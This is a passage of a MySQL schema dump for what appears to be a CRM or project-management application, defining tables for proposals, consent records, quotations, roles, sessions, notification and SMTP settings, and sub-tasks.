NULL, `hashname` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `size` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `external_link` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `proposal_item_images_proposal_item_id_foreign` (`proposal_item_id`), CONSTRAINT `proposal_item_images_proposal_item_id_foreign` FOREIGN KEY (`proposal_item_id`) REFERENCES `proposal_items` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `proposal_items`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `proposal_items` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `proposal_id` int unsigned NOT NULL, `item_name` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `type` enum('item','discount','tax') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'item', `quantity` double(30,2) NOT NULL, `unit_price` double(30,2) NOT NULL, `amount` double(30,2) NOT NULL, `item_summary` text COLLATE utf8mb4_unicode_ci, `taxes` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `hsn_sac_code` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `proposal_items_proposal_id_foreign` (`proposal_id`), CONSTRAINT `proposal_items_proposal_id_foreign` FOREIGN KEY (`proposal_id`) REFERENCES `proposals` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `proposal_signs`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `proposal_signs` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `proposal_id` int unsigned NOT NULL, `full_name` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `email` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `signature` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `proposal_signs_proposal_id_foreign` (`proposal_id`), CONSTRAINT `proposal_signs_proposal_id_foreign` FOREIGN KEY (`proposal_id`) REFERENCES `proposals` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `proposals`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `proposals` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `lead_id` int unsigned NOT NULL, `valid_till` date NOT NULL, `sub_total` double(30,2) NOT NULL, `total` double(30,2) NOT NULL, `currency_id` int unsigned DEFAULT NULL, `discount_type` enum('percent','fixed') COLLATE utf8mb4_unicode_ci NOT NULL, `discount` double NOT NULL, `invoice_convert` tinyint(1) NOT NULL DEFAULT '0', `status` enum('declined','accepted','waiting') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'waiting', `note` mediumtext COLLATE utf8mb4_unicode_ci, `description` longtext COLLATE utf8mb4_unicode_ci, `client_comment` text COLLATE utf8mb4_unicode_ci, `signature_approval` tinyint(1) NOT NULL DEFAULT '1', `added_by` int unsigned DEFAULT NULL, `last_updated_by` int unsigned DEFAULT NULL, `hash` text COLLATE utf8mb4_unicode_ci, `calculate_tax` enum('after_discount','before_discount') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'after_discount', `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `proposals_company_id_foreign` (`company_id`), KEY `proposals_lead_id_foreign` (`lead_id`), KEY `proposals_currency_id_foreign` (`currency_id`), KEY `proposals_added_by_foreign` (`added_by`), KEY `proposals_last_updated_by_foreign` (`last_updated_by`), CONSTRAINT `proposals_added_by_foreign` FOREIGN KEY (`added_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `proposals_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `proposals_currency_id_foreign` FOREIGN KEY (`currency_id`) REFERENCES `currencies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `proposals_last_updated_by_foreign` FOREIGN KEY (`last_updated_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `proposals_lead_id_foreign` FOREIGN KEY (`lead_id`) REFERENCES `leads` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `purpose_consent`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `purpose_consent` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `name` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `description` text COLLATE utf8mb4_unicode_ci, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `purpose_consent_leads`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `purpose_consent_leads` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `lead_id` int unsigned NOT NULL, `purpose_consent_id` int unsigned NOT NULL, `status` enum('agree','disagree') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'agree', `ip` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `updated_by_id` int unsigned DEFAULT NULL, `additional_description` text COLLATE utf8mb4_unicode_ci, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `purpose_consent_leads_lead_id_foreign` (`lead_id`), KEY `purpose_consent_leads_purpose_consent_id_foreign` (`purpose_consent_id`), KEY `purpose_consent_leads_updated_by_id_foreign` (`updated_by_id`), CONSTRAINT `purpose_consent_leads_lead_id_foreign` FOREIGN KEY (`lead_id`) REFERENCES `leads` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `purpose_consent_leads_purpose_consent_id_foreign` FOREIGN KEY (`purpose_consent_id`) REFERENCES `purpose_consent` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `purpose_consent_leads_updated_by_id_foreign` FOREIGN KEY (`updated_by_id`) REFERENCES `users` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `purpose_consent_users`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `purpose_consent_users` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `client_id` int unsigned NOT NULL, `purpose_consent_id` int unsigned NOT NULL, `status` enum('agree','disagree') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'agree', `ip` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `updated_by_id` int unsigned NOT NULL, `additional_description` text COLLATE utf8mb4_unicode_ci, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `purpose_consent_users_client_id_foreign` (`client_id`), KEY `purpose_consent_users_purpose_consent_id_foreign` (`purpose_consent_id`), KEY `purpose_consent_users_updated_by_id_foreign` (`updated_by_id`), CONSTRAINT `purpose_consent_users_client_id_foreign` FOREIGN KEY (`client_id`) REFERENCES `users` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `purpose_consent_users_purpose_consent_id_foreign` FOREIGN KEY (`purpose_consent_id`) REFERENCES `purpose_consent` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `purpose_consent_users_updated_by_id_foreign` FOREIGN KEY (`updated_by_id`) REFERENCES `users` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `push_notification_settings`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `push_notification_settings` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `onesignal_app_id` text COLLATE utf8mb4_unicode_ci, `onesignal_rest_api_key` text COLLATE utf8mb4_unicode_ci, `notification_logo` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `status` enum('active','inactive') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'inactive', `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `push_subscriptions`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `push_subscriptions` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `user_id` int unsigned NOT NULL, `endpoint` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `public_key` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `auth_token` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), UNIQUE KEY `push_subscriptions_endpoint_unique` (`endpoint`), KEY `push_subscriptions_company_id_foreign` (`company_id`), KEY `push_subscriptions_user_id_index` (`user_id`), CONSTRAINT `push_subscriptions_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `push_subscriptions_user_id_foreign` FOREIGN KEY (`user_id`) REFERENCES `users` (`id`) ON DELETE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `pusher_settings`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `pusher_settings` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `pusher_app_id` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `pusher_app_key` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `pusher_app_secret` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `pusher_cluster` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `force_tls` tinyint(1) NOT NULL, `status` tinyint(1) NOT NULL, `taskboard` tinyint(1) NOT NULL DEFAULT '1', `messages` tinyint(1) NOT NULL DEFAULT '0', `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `quotation_items`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `quotation_items` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `quotation_id` int unsigned NOT NULL, `item_name` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `quantity` int NOT NULL, `unit_price` int NOT NULL, `amount` double(30,2) NOT NULL, `hsn_sac_code` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `quotation_items_quotation_id_foreign` (`quotation_id`), CONSTRAINT `quotation_items_quotation_id_foreign` FOREIGN KEY (`quotation_id`) REFERENCES `quotations` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `quotations`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `quotations` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `business_name` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `client_name` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `client_email` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `phone` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `address` text COLLATE utf8mb4_unicode_ci, `sub_total` double(30,2) NOT NULL, `total` double(30,2) NOT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `quotations_company_id_foreign` (`company_id`), CONSTRAINT `quotations_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `removal_requests`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `removal_requests` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `name` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `description` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `user_id` int unsigned DEFAULT NULL, `status` enum('pending','approved','rejected') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'pending', `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `removal_requests_company_id_foreign` (`company_id`), KEY `removal_requests_user_id_foreign` (`user_id`), CONSTRAINT `removal_requests_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `removal_requests_user_id_foreign` FOREIGN KEY (`user_id`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `removal_requests_lead`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `removal_requests_lead` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `name` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `description` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `lead_id` int unsigned DEFAULT NULL, `status` enum('pending','approved','rejected') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'pending', `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `removal_requests_lead_company_id_foreign` (`company_id`), KEY `removal_requests_lead_lead_id_foreign` (`lead_id`), CONSTRAINT `removal_requests_lead_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `removal_requests_lead_lead_id_foreign` FOREIGN KEY (`lead_id`) REFERENCES `leads` (`id`) ON DELETE SET NULL ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `role_user`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `role_user` ( `user_id` int unsigned NOT NULL, `role_id` int unsigned NOT NULL, PRIMARY KEY (`user_id`,`role_id`), KEY `role_user_role_id_foreign` (`role_id`), CONSTRAINT `role_user_role_id_foreign` FOREIGN KEY (`role_id`) REFERENCES `roles` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `role_user_user_id_foreign` FOREIGN KEY (`user_id`) REFERENCES `users` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `roles`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `roles` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `name` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `display_name` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `description` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), UNIQUE KEY `roles_name_unique` (`name`), KEY `roles_company_id_foreign` (`company_id`), CONSTRAINT `roles_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `sessions`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `sessions` ( `id` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `user_id` bigint unsigned DEFAULT NULL, `ip_address` varchar(45) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `user_agent` text COLLATE utf8mb4_unicode_ci, `payload` mediumtext COLLATE utf8mb4_unicode_ci NOT NULL, `last_activity` int NOT NULL, PRIMARY KEY (`id`), KEY `sessions_user_id_index` (`user_id`), KEY `sessions_last_activity_index` (`last_activity`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `skills`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `skills` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `name` varchar(200) COLLATE utf8mb4_unicode_ci NOT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `skills_company_id_foreign` (`company_id`), CONSTRAINT `skills_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `slack_settings`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `slack_settings` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `slack_webhook` text COLLATE utf8mb4_unicode_ci, `slack_logo` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `status` enum('active','inactive') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'inactive', `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `slack_settings_company_id_foreign` (`company_id`), CONSTRAINT `slack_settings_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `smtp_settings`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `smtp_settings` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `mail_driver` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'smtp', `mail_host` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'smtp.gmail.com', `mail_port` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT '587', `mail_username` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'youremail@gmail.com', `mail_password` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'your password', `mail_from_name` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'your name', `mail_from_email` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'from@email.com', `mail_encryption` enum('tls','ssl') COLLATE utf8mb4_unicode_ci DEFAULT 'tls', `verified` tinyint(1) NOT NULL DEFAULT '0', `mail_connection` enum('sync','database') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'sync', `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `social_auth_settings`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `social_auth_settings` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `facebook_client_id` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `facebook_secret_id` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `facebook_status` enum('enable','disable') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'disable', `google_client_id` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `google_secret_id` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `google_status` enum('enable','disable') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'disable', `twitter_client_id` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `twitter_secret_id` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `twitter_status` enum('enable','disable') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'disable', `linkedin_client_id` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `linkedin_secret_id` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `linkedin_status` enum('enable','disable') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'disable', `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `socials`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `socials` ( `id` bigint unsigned NOT NULL AUTO_INCREMENT, `user_id` int unsigned DEFAULT NULL, `social_id` text COLLATE utf8mb4_unicode_ci NOT NULL, `social_service` text COLLATE utf8mb4_unicode_ci NOT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `sticky_notes`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `sticky_notes` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `user_id` int unsigned NOT NULL, `note_text` mediumtext COLLATE utf8mb4_unicode_ci NOT NULL, `colour` enum('blue','yellow','red','gray','purple','green') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'blue', `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `sticky_notes_company_id_foreign` (`company_id`), KEY `sticky_notes_user_id_foreign` (`user_id`), CONSTRAINT `sticky_notes_company_id_foreign` FOREIGN KEY (`company_id`) REFERENCES `companies` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `sticky_notes_user_id_foreign` FOREIGN KEY (`user_id`) REFERENCES `users` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `sub_task_files`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `sub_task_files` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `user_id` int unsigned DEFAULT NULL, `sub_task_id` int unsigned NOT NULL, `filename` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `description` text COLLATE utf8mb4_unicode_ci, `google_url` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `hashname` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `size` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `dropbox_link` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `external_link` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `external_link_name` varchar(191) COLLATE utf8mb4_unicode_ci DEFAULT NULL, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `sub_task_files_user_id_foreign` (`user_id`), KEY `sub_task_files_sub_task_id_foreign` (`sub_task_id`), CONSTRAINT `sub_task_files_sub_task_id_foreign` FOREIGN KEY (`sub_task_id`) REFERENCES `sub_tasks` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `sub_task_files_user_id_foreign` FOREIGN KEY (`user_id`) REFERENCES `users` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `sub_tasks`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `sub_tasks` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `task_id` int unsigned NOT NULL, `title` text COLLATE utf8mb4_unicode_ci NOT NULL, `due_date` datetime DEFAULT NULL, `start_date` date DEFAULT NULL, `status` enum('incomplete','complete') COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'incomplete', `assigned_to` int unsigned DEFAULT NULL, `added_by` int unsigned DEFAULT NULL, `last_updated_by` int unsigned DEFAULT NULL, `description` text COLLATE utf8mb4_unicode_ci, `created_at` timestamp NULL DEFAULT NULL, `updated_at` timestamp NULL DEFAULT NULL, PRIMARY KEY (`id`), KEY `sub_tasks_task_id_foreign` (`task_id`), KEY `sub_tasks_assigned_to_foreign` (`assigned_to`), KEY `sub_tasks_added_by_foreign` (`added_by`), KEY `sub_tasks_last_updated_by_foreign` (`last_updated_by`), CONSTRAINT `sub_tasks_added_by_foreign` FOREIGN KEY (`added_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `sub_tasks_assigned_to_foreign` FOREIGN KEY (`assigned_to`) REFERENCES `users` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, CONSTRAINT `sub_tasks_last_updated_by_foreign` FOREIGN KEY (`last_updated_by`) REFERENCES `users` (`id`) ON DELETE SET NULL ON UPDATE CASCADE, CONSTRAINT `sub_tasks_task_id_foreign` FOREIGN KEY (`task_id`) REFERENCES `tasks` (`id`) ON DELETE CASCADE ON UPDATE CASCADE ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci; /*!40101 SET character_set_client = @saved_cs_client */; DROP TABLE IF EXISTS `task_category`; /*!40101 SET @saved_cs_client = @@character_set_client */; /*!50503 SET character_set_client = utf8mb4 */; CREATE TABLE `task_category` ( `id` int unsigned NOT NULL AUTO_INCREMENT, `company_id` int unsigned DEFAULT NULL, `category_name` varchar(191) COLLATE utf8mb4_unicode_ci NOT NULL, `added_by` int unsigned 